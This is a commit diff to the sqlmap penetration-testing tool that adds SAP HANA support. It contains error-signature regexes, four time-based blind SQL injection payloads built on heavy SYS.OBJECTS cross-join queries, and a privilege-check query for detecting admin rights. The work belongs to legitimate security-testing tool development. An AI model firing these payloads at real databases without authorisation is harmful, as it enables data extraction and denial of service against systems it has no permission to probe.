Skip to content

Commit 3784f8b

Browse files
stamparmstamparm
committed
Expand SAP HANA: role-aware is_dba, heavy-query time-based, error signatures
1 parent 1465d55 commit 3784f8b

4 files changed

Lines changed: 86 additions & 2 deletions

File tree

‎data/xml/errors.xml‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -256,4 +256,11 @@
256256
<dbms value="Spanner">
257257
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
258258
</dbms>
259+
260+
<dbms value="SAP HANA">
261+
<error regexp="SAP DBTech JDBC"/>
262+
<error regexp="invalid number: not a valid number string"/>
263+
<error regexp="sql syntax error:.*?\(at pos \d+\)"/>
264+
<error regexp="inserted value too large for column"/>
265+
</dbms>
259266
</root>

‎data/xml/payloads/time_blind.xml‎

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2170,5 +2170,82 @@
21702170
</details>
21712171
</test>
21722172

2173+
<test>
2174+
<title>SAP HANA AND time-based blind (heavy query)</title>
2175+
<stype>5</stype>
2176+
<level>3</level>
2177+
<risk>2</risk>
2178+
<clause>1,2,3,9</clause>
2179+
<where>1</where>
2180+
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
2181+
<request>
2182+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
2183+
</request>
2184+
<response>
2185+
<time>[DELAYED]</time>
2186+
</response>
2187+
<details>
2188+
<dbms>SAP HANA</dbms>
2189+
</details>
2190+
</test>
2191+
2192+
<test>
2193+
<title>SAP HANA OR time-based blind (heavy query)</title>
2194+
<stype>5</stype>
2195+
<level>3</level>
2196+
<risk>3</risk>
2197+
<clause>1,2,3,9</clause>
2198+
<where>1</where>
2199+
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
2200+
<request>
2201+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
2202+
</request>
2203+
<response>
2204+
<time>[DELAYED]</time>
2205+
</response>
2206+
<details>
2207+
<dbms>SAP HANA</dbms>
2208+
</details>
2209+
</test>
2210+
2211+
<test>
2212+
<title>SAP HANA AND time-based blind (heavy query - comment)</title>
2213+
<stype>5</stype>
2214+
<level>5</level>
2215+
<risk>2</risk>
2216+
<clause>1,2,3,9</clause>
2217+
<where>1</where>
2218+
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
2219+
<request>
2220+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
2221+
<comment>--</comment>
2222+
</request>
2223+
<response>
2224+
<time>[DELAYED]</time>
2225+
</response>
2226+
<details>
2227+
<dbms>SAP HANA</dbms>
2228+
</details>
2229+
</test>
2230+
2231+
<test>
2232+
<title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
2233+
<stype>5</stype>
2234+
<level>5</level>
2235+
<risk>2</risk>
2236+
<clause>1,2,3,9</clause>
2237+
<where>3</where>
2238+
<vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
2239+
<request>
2240+
<payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
2241+
</request>
2242+
<response>
2243+
<time>[DELAYED]</time>
2244+
</response>
2245+
<details>
2246+
<dbms>SAP HANA</dbms>
2247+
</details>
2248+
</test>
2249+
21732250
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
21742251
</root>

‎data/xml/queries.xml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1959,7 +1959,7 @@
19591959
<hostname query="SELECT HOST FROM SYS.M_HOST_INFORMATION WHERE KEY='host_name'"/>
19601960
<table_comment query="SELECT COMMENTS FROM SYS.TABLES WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'"/>
19611961
<column_comment query="SELECT COMMENTS FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'"/>
1962-
<is_dba query="EXISTS(SELECT * FROM SYS.GRANTED_PRIVILEGES WHERE GRANTEE=CURRENT_USER AND PRIVILEGE='DBADMIN')"/>
1962+
<is_dba query="EXISTS(SELECT 1 FROM SYS.EFFECTIVE_PRIVILEGES WHERE USER_NAME=CURRENT_USER AND PRIVILEGE IN ('DATA ADMIN','USER ADMIN','ROLE ADMIN'))"/>
19631963
<check_udf/>
19641964
<users>
19651965
<inband query="SELECT USER_NAME FROM SYS.USERS"/>

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.59"
23+
VERSION = "1.10.7.60"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)